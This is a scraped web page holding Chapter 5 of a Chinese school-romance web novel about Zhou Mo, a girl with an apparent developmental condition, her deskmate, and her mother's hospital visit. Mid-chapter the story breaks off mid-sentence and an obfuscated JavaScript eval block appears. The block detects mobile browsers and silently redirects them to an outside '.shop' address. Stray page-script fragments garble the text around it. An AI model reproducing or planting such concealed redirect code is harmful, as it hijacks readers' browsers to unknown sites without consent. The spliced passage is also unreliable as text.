文趣网 > 其他小说 > 周茉的周末 > 5. Chapter 5
    因为周末一句“这个牌子的草莓牛奶止痛养颜效果最好”,周茉为自己的选择庆幸不已,好在多拿了几瓶。她每天给它贴上便利贴,写上不同的话,趁早晨人少时,放进他的课桌里。

    周五,万圣夜,南城气温骤降,正式进入秋天。

    清晓,金风趁人不备,闯进小区三楼的一间房,掀起白色蕾丝窗帘,只见少女正换下婴儿蓝睡衣,白色吊带松松地挂在瘦削的肩脊上。少女不住身体啰嗦,转身看来。

    原来是周茉。

    她合拢木框玻璃窗,换上长袖衬衫,毛线马甲暂时用不上,叠好收起来,穿上制服外套,短袜换成灰色薄绒裤袜。出门前,给牛奶瓶贴上暖宝宝,便利贴上写上应时的关心。

    【变天了,注意保暖哦,感冒很难受的。(热气腾腾的牛奶)(笑脸)】

    周末看眼手中的蓝色便利贴,又扫一眼整洁的桌兜。他向来不拘小节,东西随手放,桌面桌兜总是乱糟糟的。送牛奶的人,日日在不打乱顺序的情况下,帮他把东西摆整齐。

    他从书包里拿出皮套本,翻到第一页,将今天的便利贴贴上,五张天蓝色便利贴几乎铺满一整页,便签上的字迹尤其工整,字与字之间的间距几乎一样。

    这人到底是谁呢?

    可真难猜啊。

    周末合上本子,低笑一声,看向周茉,正好抓住她偷瞄他的目光。他将摆在三八线旁的书堆挪到另一侧,又将桌子往里拢了拢,使得两张桌子紧紧贴着。他右手肘撑桌,手掌撑脸,直勾勾地望着身旁红了脸的女孩:“周茉小姐。”

    “嗯?”周茉的脸埋在课桌上,声音闷闷的。

    “我朋友很关心我的身体,所以我绝对不能感冒,不能让她担心。你觉得短袖换成长袖衬衫够吗?”

    周茉摇头。

    “那加上制服外套呢?”

    周茉点头。

    “可是这样很热欸。”今日15度,周末体热,加上每天运动量大,还穿着夏季校服。他又说,“短袖衬衫加毛线马甲怎么样?”

    周茉摇了下头,停顿两秒,变成点头。

    “行,听你的。”

    *

    这天周萧然送完周茉,急着回来赶稿,到中午才去菜市场买菜,结果晕倒在摊位前。

    众人上前围观。

    摊主没遇到过这场面,手足无措,大脑一片空白。

    “别急别急,我已经打了120。让她平躺。”

    摊主循声看去,是常来她这买菜的周伯,然后照着他的意思做——不停喊那女人并轻拍肩膀,让她保持意识,不一会儿,她意识模糊地回应,脸依旧煞白,唇色青紫。周伯又教她松开女人的领口,抬高她的腿,按按她的手指等等。

    周萧然意识清醒后,发现自己躺在医院过道上的临时病床上,电子呼叫声、人的哭喊声在她耳边骚动,凛冽的酒精气味在她鼻前萦绕。她转头看去,身旁的银发老伯正拿着她的手机,在和谁打电话。他嘴角青了一块,口中说着“你妈妈现在很安全”此类的话。

    他在和周茉打电话!

    周萧然连忙爬起身,夺过手机,慌张道:“茉茉,妈妈一点事也没有,晚上还是会去接你——”

    她想安抚周茉的情绪,电话里却是一阵平静,只有浅浅的呼吸声。

    “要上课了。妈妈好好休息。”周茉说完,便挂了。

    老伯察觉到了异样:“抱歉,我见你最近联系最多的人是女儿,其他都是些陌生电话,就打电话给她了。你放心,我没和你女儿说太多,主要是和她报平安。”

    “没事......没事。”周萧然思绪混沌。女儿的沉着让她意外,也因此让她落寞,和女儿以往急切的表现相比,这份沉着的关心显得格外冷淡。

    “别怪我多嘴,其实把实情告诉她,她了解清楚了,更安得下心。”老伯将装了药的塑料袋放在床边,病历本塞在里面,“医生说你情况不太严重,注意作息,按时吃药就行。水没吊完,你再休息下吧。我的体检报告正好今天出来,如果需要人陪,我可以陪你。”

    “太谢谢您了。”周萧然晃了晃头,让自己清醒,看样子老伯已经垫付了医药费,“我把钱给您。”

    “不急不急,没几个钱,你先休息。”

    二人闲聊了一阵。

    原来老伯和他老伴在母女俩所住的小区边开了家面馆,周萧然留意过,那家店生意很好,每次路过时都座无空席,一直没空去尝尝。

    一个小时后,周萧然吊完水,在原地等老伯取体检报告回来,一同回家。不一会儿,老伯返身,面露难色:“那个,能麻烦你去见见医生吗?我家人今天很忙,没得空来,医生只肯和家属聊。”

    周萧然应下。

    老伯是胰腺癌晚期,时日不多,顶多一年,医生让家属做好心理准备,尽量满足老人的心愿。

    医生交代完,周萧然迟迟不起身,紧攥着老伯的体检报告,不知怎么的答复。

    老伯六十多岁了,一个人在这,说也不是,不说更不是。

    周萧然只能如实告知,但没把话说绝,没告知他还剩多少日子。在她看来,人的意志力很强大,还剩多少时间,谁也说不准。

    回家路上,二人只聊了些场面话,各有各的心思。

    周萧然同老伯去了面馆,店里只有一位老媪在做事,脸上时刻挂着笑容,言语亲切。老伯像是什么事也没发生,笑脸迎人,接过老媪手中的活。

    周萧然要了两份黄瓜鸡蛋炒面,老伯亲自炒的,放了很多鸡蛋,还送了卤鸡腿和卤蛋。

    多好的人呐。

    她心中不是滋味,将炒面打包,和二老打了声招呼,匆匆离开。

    夜里,周萧然接周茉下了学,将炒面热了给她吃。

    “抱歉,妈妈今天没空做饭。这个很好吃,你尝尝。”

    周茉吃下一口面,嚼了好一会儿,道:“妈妈看了医生,医生给妈妈治病,妈妈听医生的话,好好吃药,就不会再晕倒,周茉就不会担心。”

    周茉很少一口气说这么长的话,周萧然听了,惊喜不已,心中自省:太把她当小孩子了,才会觉得她遇事会哭会闹才是正常反应。自己倒更像小孩,见她和那个叫“长大”的东西玩得好,竟吃起醋来。把她小心翼翼地捧在手心十几年,这沉甸甸的宝贝忽然跳出她的掌心,就像失重,心中咯噔一下,转瞬空落落的。

    “好吃吗?”周萧然笑道。

    “好吃。”

    周萧然指向一旁的塑料袋:“这家买的。这家的老板,一位老爷爷,是妈妈的救命恩人。有空了,我们去看看他好吗?”

    “好。”

    塑料袋上印着店名——周周来吃。

    周茉记住了。

    双休日连下两天大雨,母女俩待在家中,哪儿也没去。周茉的周末生活倒是变丰富了,完成作业后,除了看漫画、画漫画,她开始练习抹药包扎,将房间里的娃娃当成病患。

    周萧然打扫周茉房间时,见一屋子“木乃伊”,十分诡异。

    “茉茉,这是干嘛呢?”

    “救死扶伤。”

    周萧然心想:难道因为自己突然病倒,让她有了当医生或者护士的志愿?挺好。

    周茉却想着:要是周末再受伤,需要她帮忙时,她可不能把他疼到。

    *

    周一。

    由于周六没去超市,家里没有草莓牛奶了,周茉便带了两瓶可可奶,自己一瓶,周末一瓶。

    【可可奶口感醇厚丝滑,不会甜腻,也不会苦涩,温柔而温暖,希望你能喜欢。(巧克力)(笑脸)】

    周末收起便利贴,余光中是周茉抽屉里一模一样的可可奶。他问:“你住这附近吗?”

    “嗯。星辰小区。”

    “那正好。”周末从书包里拿出一沓卡片,摆到周茉桌上,“为了感谢周茉小姐这段时间对我的照顾,专门为你拿了些我家面馆的免单卡,店就在星辰小区边上。”

    “照顾?”周茉惶恐,怕是自己身份暴露了。

    周末轻笑一声:“你不是帮我做了很多事吗,不记得了?”

    原来如此。

    周茉看着卡片上的店名,沉默一阵。

    “不要?”周末不住向身旁发呆的女孩靠近,“嗯?”

    “要。”

    她还要帮周末做更多的事情。

    *

    下午,课间,周末从外回来。

    “老姚,帮我收下班费呗,就几个人没交了。”周末丢了包薯片到老姚怀中。

    “你咋不自己收?”老姚顺其自然地吃了起来。

    “紧急训练啊。这事拖了一周了,昨天老班说今天下午放学前收齐。”

    老姚清楚这不是个简单的活儿,剩下那几个没交的,要么是家里不同意交班费的,又不想掏零花钱的人;要么是自己把钱私吞了,拿不出钱的人:“找高妙语呗,学委帮班长干活儿理所当然,而且她那嘴最辣了。”

    “她不乐意,说谈钱伤感情。”周末撇嘴耸肩。接着,手搭在老姚肩膀上,赔笑道,“你不一样,涎皮赖脸。这可不是坏话,你这种人最容易成大事,干啥都豁得出去。”

    “不要不要。”

    老姚心想,他又不傻,卖力不讨好的事他才不干。虽然这么想,薯片照样吃,好吃好吃。

    这些话,周茉都听进了心中。

    在她看来,交班费是为了方便集体活动,并不是坏事。班费50元,她一和妈妈说,妈妈立马给她了,就算妈妈不给,她攒的零花钱足以支付。班上没有贫困生,十五六岁的人了,连50块都没有吗?

    见周末坐回位置,收拾东西,周茉拉了拉他的衣角。

    “怎么了?”

    周茉点了一下他桌上的花名册:“周茉可以。”

    “嗯?”周末沉吟两秒,“你想帮我收班费?”

    周茉点头。

    “果然还得是我的好同桌。”周末感动得要落泪,“不过,没关系啦,待会儿我和老师说一下就行了。”

    周茉觉得周末很累,这些事就算能拖,最后还是要完成的。她能帮就帮,尽量让周末不那么累。

    “周茉可以。”说时,手指在膝盖上翻飞。

    周末不好再打击她的志气,在花名册上还未交钱的同学里,勾了两个好沟通的人,交代给周茉。

    “队长,快点,教练在催了。”张公子从外奔来,朝教室里喊。

    周末应声后,紧着时间,叮嘱周茉:“这事不急着完成,不要逼自己,好吗?找他们的组长,让组长去应付他们。”

    “好。”

    周末出了教室,与张公子并肩往教学楼外走。

    “张大公子,该交班费了啊。你爸可是市委副书记,你连50都没有?”

    “队长,可别乱说啊。”张公子垂头丧气,“我家老头廉政,在家更是拮据,对我超严格。我这人管不住手,有点钱全花了。跟以前一样,你先帮我垫着呗,再过几天就发零花钱了,我从没

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744475|209219||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    欠钱不还过,对吧。”

    周末乜了眼旁人脚上的跑鞋,崭新的限量款,才上市不到一周。他似笑非笑:“行~”

    *

    那些学生,见来“要债”的人是周茉,他们深知她性格固执,全身逆鳞,是不定时炸弹,没准随口一句话就能把她引爆,不敢多说话,这样一来,他们无法为自己不想交钱辩解,只能乖乖掏出50块。

    周茉全然不知,以为是收班费这件事情很简单。她将钱叠整齐,放进钱包里,满心欢喜地等周末回来。她翻开花名册,除去周末交代给她的同学,还有5人未交班费。

    张家豪?

    就是那个张公子吧。之前听高妙语和老姚聊过他,因为是高官的儿子,所以大家唤他“公子”。

    他为什么会不交班费呢?

    大概是忘记了吧。

    要不试试?

    食堂今天的晚餐不和周茉的胃口,便早早离开了。回到教学楼时,只见张家豪站在走廊上打电话,看样子田径队的训练结束了。周末是种子选手,估计还得再晚一点。

    这时,隐约听见张家豪说了句:“......我还有五千,就靠它翻盘了......”

    下一秒,二人对视上,纷纷匆忙避开视线。张家豪往更隐蔽的地方去了,周茉赶忙回了教室。十分钟过去,张家豪也回到教室。

    周茉坐在座位上,深呼吸三次,花名册抱在怀中,向后门走去。张家豪正对镜整理发型,发丝用发胶捏起,像刺猬的刺。

    周茉轻戳他的肩膀。

    “怎么?”张家豪单侧眉尾挑起,看不出来者来意,想起刚才打电话时,似乎被她听见了什么,他不确定,心中很不畅快。

    “这个。”周茉递去翻开的册子。

    张家豪扫了一眼,恍然大悟,继续塑造刺猬头,漫不经心道:“我和班长说了,他先帮我垫。”

    垫钱?

    高官的儿子连50都没有吗?

    周茉一边想着,一边偷摸着打量对方。张家豪在众人面前,时刻保持精致的外表,用的穿的,看上去都很贵。且不说这些,光他手上那只劳力士都值不少钱。

    用得起劳力士,给不出50块钱?

    而且,他刚才分明说了自己有五千。

    他是不是欺负周末善良好说话?

    周茉伸出手:“你有钱。”

    张家豪将镜子往桌上一拍,起身,居高临下地凝视周茉,耐着性子说:“我说了,找周末要。”

    “不行。”周茉后退一步,手依旧伸得直直的,“你有钱。”

    操!张家豪确认自己打电话时说的话被她听见了,顿时怒火中烧:“你是周末的谁啊,你说不行就不行?你以为周末很看得起你?他就是个老好人,见不得残疾人被排挤。”

    旁人见周茉身体晃动得厉害,不停抓挠自己的胳膊,状态比那天看起来要糟糕很多。那天,不知为何,周茉突然哭了起来,周末安慰了几句,便平静下来。这次,没那么简单了,看上去已在崩溃边缘。

    他们不敢碰周茉,不约而同劝张家豪不要再说。他们不明白他为何变成这样,他平时虽然有点装,爱显摆,但待人处事还算客气,很少起冲突,此刻却为这点钱置气。

    “别碰我,我说的都是实话不是吗?你们平时对她客气,忍气吞声,不就是嫌她有病,怕她给自己添麻烦?我帮你们出气,你们反倒怪我了?”张家豪不管不顾,兀自往下说,“你呢,跟个小宝宝似的,整天周茉周茉地自称,这么大个人了,还要你妈接送,给你拎书包——”

    见张家豪还要说,几人强行将他拉了出去。

    此刻,张家豪的话在周茉脑中激荡,一句接一句地,反反复复地抨击她的努力,让她大脑断了线,想说的话全都堵在她心中,只能靠哭喊来泄愤,身体止不住颤抖、摆动,一会儿抓脸,一会儿抓脖子,裸露的皮肤上很快泛起一道道红痕,又抱头喊叫。

    周茉不是残疾人。

    周茉不是小宝宝。

    周茉很努力地证明自己不弱。

    “周茉——周茉——周茉——啊啊啊啊——”

    周茉不想被看不起。

    周茉好没用。

    周茉什么都做不好。

    周茉拖累了妈妈。

    周茉帮不了周末。

    周茉是累赘。

    “啊啊啊啊——”

    尖叫声填满教室,引来了隔壁班的围观,走廊上站满了人。

    “滚开!”一声怒吼似利刃从人群后砍来,劈开一条道。

    是周末。

    他似是才洗完澡,匆匆赶来,头发湿漉漉的,喘着粗气。他一面大步流星穿过人群,一面将额前湿发往后捋,眉宇堂堂,横眉怒目。众人从未见过这位好好先生的戾气如此重过,靠近他的人,接二连三地被这股寒气冻住。

    周末进了教室,叫人散开、出去,遂关上门窗,拉上窗帘,只留下一盏灯,室内渐渐昏暗下来。

    周茉的情绪在持续爆发,她面朝后门墙角,双手锤头,一个劲往墙缝里挤。

    “周茉——”周末向周茉凑近又退开,伸手又掣手,眼中满是心疼与焦灼,语调却克制而平静,“不着急,这里只有我,我就在边上。等你发泄完,看看我好吗?”

    与此同时,有人跑去办公室,想将事情告知班主任,不料人不在,任课老师见了,帮忙给周萧然打电话。

    周萧然二话不说,顾不上穿外套,趿拉着皮鞋,匆匆赶往学校。